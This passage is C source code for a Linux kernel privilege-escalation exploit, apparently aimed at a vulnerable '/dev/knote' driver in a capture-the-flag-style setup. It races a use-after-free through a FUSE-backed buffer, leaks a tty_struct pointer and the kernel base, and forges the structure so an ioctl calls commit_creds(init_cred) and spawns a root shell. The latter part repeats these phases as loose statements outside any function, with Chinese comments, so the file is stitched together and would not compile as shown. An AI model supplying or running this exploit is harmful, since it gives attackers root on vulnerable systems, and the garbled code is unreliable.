    memcpy(orig_tty_data, evil_fuse_mmap, TTY_STRUCT_SIZE);
    memcpy(fake_tty_data, orig_tty_data, TTY_STRUCT_SIZE);

    /* Verify leaked pointers */
    if (orig_tty_data[0x56] > kernel_base &&
        (orig_tty_data[0x56] & 0xfff) == (DO_SAK_WORK & 0xfff)) {
        /* Calculate kernel addresses */
        tty_struct_addr = orig_tty_data[7] - 0x38;
        kernel_offset = orig_tty_data[0x56] - DO_SAK_WORK;
        kernel_base += kernel_offset;
        hex_dump2("Original tty_struct data:", orig_tty_data, 0x50);
        log.success("Leaked tty_struct address: 0x%lx", tty_struct_addr);
        log.success("Leaked do_sak_work address: 0x%lx", orig_tty_data[0x56]);
        log.success("Kernel offset: 0x%lx", kernel_offset);
        log.success("Kernel base: 0x%lx", kernel_base);
        return 0;
    }

    log.error("Failed to leak valid kernel pointers");
    return -1;
}

/*
 * Phase 2: Construct malicious tty structure
 */
static int phase2_build_fake_struct(void)
{
    log.info("========================================================");
    log.info("Phase 2: Constructing Malicious tty Structure");
    log.info("========================================================");

    /* Calculate runtime kernel addresses */
    size_t work_for_cpu_fn = kernel_offset + WORK_FOR_CPU_FN;
    size_t commit_creds_addr = kernel_offset + COMMIT_CREDS;
    size_t init_cred_addr = kernel_offset + INIT_CRED;

    /* Build malicious tty structure with controlled function pointers */
    fake_tty_data[12] = work_for_cpu_fn;
    fake_tty_data[3] = tty_struct_addr;
    fake_tty_data[4] = commit_creds_addr;
    fake_tty_data[5] = init_cred_addr;

    /* Prepare FUSE buffer for overwrite */
    fuse_write_data(0, (char *)fake_tty_data, TTY_STRUCT_SIZE);

    log.success("Malicious tty structure constructed successfully");

    return 0;
}

/*
 * Phase 3: Trigger exploitation
 */
static int phase3_execute_exploit(void)
{
    log.info("========================================================");
    log.info("Phase 3: Executing Privilege Escalation");
    log.info("========================================================");

    /* Clean up previous tty object */
    close(tty_fd);

    /* Re-allocate vulnerable object */
    add_chunk(TTY_STRUCT_SIZE);

    /* Setup FUSE for race condition write */
    evil_fuse_mmap = (char *)fuse_get_fuse_memory_addr(1);
    RUN_JOB(edit_chunk, 0, evil_fuse_mmap);

    /* Trigger race condition */
    fuse_wait_read_hit(1);
    delete_chunk(0);

    /* Allocate tty with malicious structure */
    tty_fd = open("/dev/ptmx", O_RDWR);
    if (tty_fd < 0) {
        log.error("Failed to open /dev/ptmx for exploitation");
        return -1;
    }

    /* Complete FUSE write to overwrite tty structure */
    fuse_signal_read_ready(1);
    fuse_wait_read_done(1);
    sleep(1);

    /* Trigger controlled ioctl to execute ROP chain */
    log.info("Triggering controlled ioctl operation");
    ioctl(tty_fd, 0xdeadbeaf, 0xdeadbeaf);

    return 0;
}

/*
 * Phase 4: Post-exploitation verification
 */
static int phase4_verify_privileges(void)
{
    log.info("========================================================");
    log.info("Phase 4: Verifying Privilege Escalation");
    log.info("========================================================");

    /* Verify root privileges */
    if (getuid() != 0) {
        log.error("Privilege escalation failed - not root!");
        return -1;
    }
    system("umount -f /tmp/fuse 2>/dev/null");
    log.success("Successfully obtained root privileges (uid=0)!");
    /* Launch root shell */
    get_root_shell();

    return 0;
}

/*
 * Main exploit routine
 */
int main()
{
    int ret = 0;

    /* Phase 0: Setup */
    if (phase0_setup() < 0) {
        ret = -1;
        goto cleanup;
    }

    /* Phase 1: Leak kernel addresses */
    if (phase1_leak_pointers() < 0) {
        ret = -1;
        goto cleanup;
    }

    /* Phase 2: Prepare exploit payload */
    if (phase2_build_fake_struct() < 0) {
        ret = -1;
        goto cleanup;
    }

    /* Phase 3: Execute exploit */
    if (phase3_execute_exploit() < 0) {
        ret = -1;
        goto cleanup;
    }

    /* Phase 4: Verify and enjoy */
    if (phase4_verify_privileges() < 0) {
        ret = -1;
        goto cleanup;
    }

cleanup:
    /* Cleanup resources */
    if (tty_fd >= 0) close(tty_fd);
    if (dev_fd >= 0) close(dev_fd);

    fuse_stop_system();
    if (ret == 0) {
        log.success("Exploit completed successfully!");
    } else {
        log.error("Exploit failed with error code: %d", ret);
    }

    return ret;
}

// 初始化FUSE子系统
static int init_fuse_subsystem(void)
{
    if (fuse_init(2) < 0) {
        return -1;
    }
    if (fuse_start() < 0) {
        return -1;
    }
    if (fuse_create_mapping(0, 2, 1, 1) < 0) {
        return -1;
    }
    if (fuse_create_mapping(1, 2, 1, 1) < 0) {
        return -1;
    }
    return 0;
}

// 打开漏洞设备
dev_fd = open("/dev/knote", O_RDONLY);
if (dev_fd < 0) {
    return -1;
}

static int fuse_ops_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi) {
    (void)fi;  // 未使用的参数

    int file_index = -1;

    // 确定是哪个FUSE映射文件
    for (int i = 0; i < g_fuse_ctx.control->file_count; i++) {
        char filename[256];
        snprintf(filename, sizeof(filename), "/%s_%d", FUSE_FILE_BASE, i);
        if (strcmp(path, filename) == 0) {
            file_index = i;
            break;
        }
    }

    if (file_index < 0) {
        return -ENOENT;
    }

    // 检查偏移和大小参数
    if (offset < 0 || offset >= (off_t)g_fuse_ctx.control->page_size) {
        return 0;
    }

    size_t remaining = g_fuse_ctx.control->page_size - offset;
    if (size > remaining) {
        size = remaining;
    }

    // 发送读取命中信号，通知主进程
    sem_post(&g_fuse_ctx.control->read_hit_sems[file_index]);

    // 等待主进程的读取就绪信号
    sem_wait(&g_fuse_ctx.control->read_ready_sems[file_index]);

    // 从全局数据源读取数据
    if (g_fuse_ctx.read_data_source) {
        char *src = (char*)g_fuse_ctx.read_data_source + offset;
        memcpy(buf, src, size);
    } else {
        memset(buf, 0, size);
    }

    // 发送读取完成信号
    sem_post(&g_fuse_ctx.control->read_done_sems[file_index]);

    return size;
}

/* 分配目标内存 */
add_chunk(TTY_STRUCT_SIZE);

/* 设置FUSE竞态读取 */
evil_fuse_mmap = (char *)fuse_get_fuse_memory_addr(0);
RUN_JOB(get_chunk, 0, evil_fuse_mmap);

/* 触发竞态条件 */
fuse_wait_read_hit(0);
delete_chunk(0);

/* 分配tty对象在释放的内存中 */
tty_fd = open("/dev/ptmx", O_RDWR);
if (tty_fd < 0) {
    return -1;
}

/* 完成FUSE读取以获取内核数据 */
fuse_signal_read_ready(0);
fuse_wait_read_done(0);
sleep(1);

/* 计算运行时内核地址 */
size_t work_for_cpu_fn = kernel_offset + WORK_FOR_CPU_FN;
size_t commit_creds_addr = kernel_offset + COMMIT_CREDS;
size_t init_cred_addr = kernel_offset + INIT_CRED;

/* 构建恶意tty结构 */
fake_tty_data[12] = work_for_cpu_fn;
fake_tty_data[3] = tty_struct_addr;
fake_tty_data[4] = commit_creds_addr;
fake_tty_data[5] = init_cred_addr;

/* 准备FUSE缓冲区以进行覆盖 */
fuse_write_data(0, (char *)fake_tty_data, TTY_STRUCT_SIZE);

/* 清理先前的tty对象 */
close(tty_fd);

/* 重新分配易受利用的对象 */
add_chunk(TTY_STRUCT_SIZE);

/* 设置FUSE竞态写入 */
evil_fuse_mmap = (char *)fuse_get_fuse_memory_addr(1);
RUN_JOB(edit_chunk, 0, evil_fuse_mmap);

/* 触发竞态条件 */
fuse_wait_read_hit(1);
delete_chunk(0);

/* 分配具有恶意结构的tty */
tty_fd = open("/dev/ptmx", O_RDWR);
if (tty_fd < 0) {
    return -1;
}

/* 完成FUSE写入以覆盖tty结构 */
fuse_signal_read_ready(1);
fuse_wait_read_done(1);
sleep(1);

/* 触发受控的ioctl以执行ROP链 */
ioctl(tty_fd, 0xdeadbeaf, 0xdeadbeaf);

/* 验证权限状态 */
if (getuid() != 0) {
    return -1;
}
system("umount -f /tmp/fuse 2>/dev/null");
/* 启动root shell */
get_root_shell();